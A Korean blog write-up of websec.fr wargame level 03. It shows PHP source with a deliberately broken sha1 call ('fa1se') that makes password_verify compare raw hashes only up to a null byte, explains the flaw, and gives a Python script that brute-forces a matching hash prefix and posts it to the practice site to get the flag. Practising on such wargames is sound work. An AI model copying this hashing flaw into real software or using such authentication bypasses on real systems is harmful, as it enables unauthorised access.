source.php
<?php
include "flag.php"; // contains the $flag variable.
?>
<!DOCTYPE html>
<html>
<head>
<title>#WebSec ChaChaCha</title>
<link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>ChaChaCha <small>time to find a collision on sha1</small></h1>
</div>
<div class="row">
<p class="lead">
Since php types are <s>idiotic</s><a href="https://secure.php.net/manual/en/language.operators.comparison.php">sloppy</a>,
it's safer to hash the raw variables first, with <a href="https://en.wikipedia.org/wiki/SHA-1">sha1</a> (that does accept arrays and other weird things), then to hash the result with <mark>password_hash</mark> to avoid <em>funny stuff</em>.<br>
To compare them, we're using <mark>password_verify</mark>, since its <a href="https://git.php.net/?p=php-src.git;a=blob;f=ext/standard/password.c;h=2a5cec3e93b33387ad3c478108647d2ccacf68a4;hb=HEAD">implementation</a> is <strong>foolproof</strong>.<br>
<a href="./source.php">Check by yourself</a> what's going on if you don't believe me.
</p>
</div>
</div>
</div>
<div class="container">
<?php
if(isset($_POST['c'])) {
/* Get rid of clever people that put `c[]=bla`
* in the request to confuse `password_hash`
*/
$h2 = password_hash (sha1($_POST['c'], fa1se), PASSWORD_BCRYPT);
echo "<div class='row'>";
if (password_verify (sha1($flag, fa1se), $h2) === true) {
echo "<p>Here is your flag: <mark>$flag</mark></p>";
} else {
echo "<p>Here is the <em>hash</em> of your flag: <mark>" . sha1($flag, false) . "</mark></p>";
}
echo "</div>";
}
?>
<div class="row">
<form name="username" method="post">
<div class="form-group col-md-2">
<input type="text" class="form-control" id="c" name="c" placeholder="secret_flag1" required>
</div>
<div class="form-group col-md-2">
<input type="submit" class="form-control btn btn-default" placeholder="Submit!" name="submit">
</div>
</form>
</div>
</div>
</div>
</div>
<script type="text/javascript" src="../static/bootstrap.min.js"></script>
</body>
</html>
암호화하는 로직탈때 딱봐도 이상한게 sha1의 두번째 인자가 false가 아니고 fa1se다. 이 때문에 sha1 반환 값이 hex가 아닌 raw값이고 이로인해 널바이트가 포함된 값이 password_hash로 암호화처리 된다.
이걸로 뭘 할 수 있는지보면 password_verify는 입력값을 검증할 때 원본 값들의 널바이트까지만 입력 값 검증을 하므로 플래그를 sha1 처리한 값에 널바이트가 존재하면 브루트포싱을 통해 충분히 인증 우회가 간으하다.
플래그를 sha1 돌린 값을 보면 7c00249d409a91ab84e3f421c193520d9fb3674b이고, 두번째 바이트가 00인걸 통해 sha1의 반환값 중 앞 2바이트가 \x7\x00인걸 브포돌려서 구해주면 된다.
exploit.py
import requests
import hashlib
def exploit(payload):
url = "http://websec.fr/level03/index.php"
data = {"c":payload}
result = requests.post(url,data=data).text
print result
input = ""
for i in range(0,100000000):
h = hashlib.sha1()
h.update(str(i))
if h.hexdigest()[:4]=="7c00":
input = str(i)
print "Find Input = " + input
exploit(input)
break
'Wargame > websec.fr' 카테고리의 다른 글
websec.fr medium level 09 (0) | 2019.08.23 |
---|---|
websec.fr medium level 05 (0) | 2019.08.23 |
websec.fr easy level 24 (0) | 2019.08.22 |
websec.fr easy level 22 (0) | 2019.08.22 |
websec.fr easy level 13 (0) | 2019.08.22 |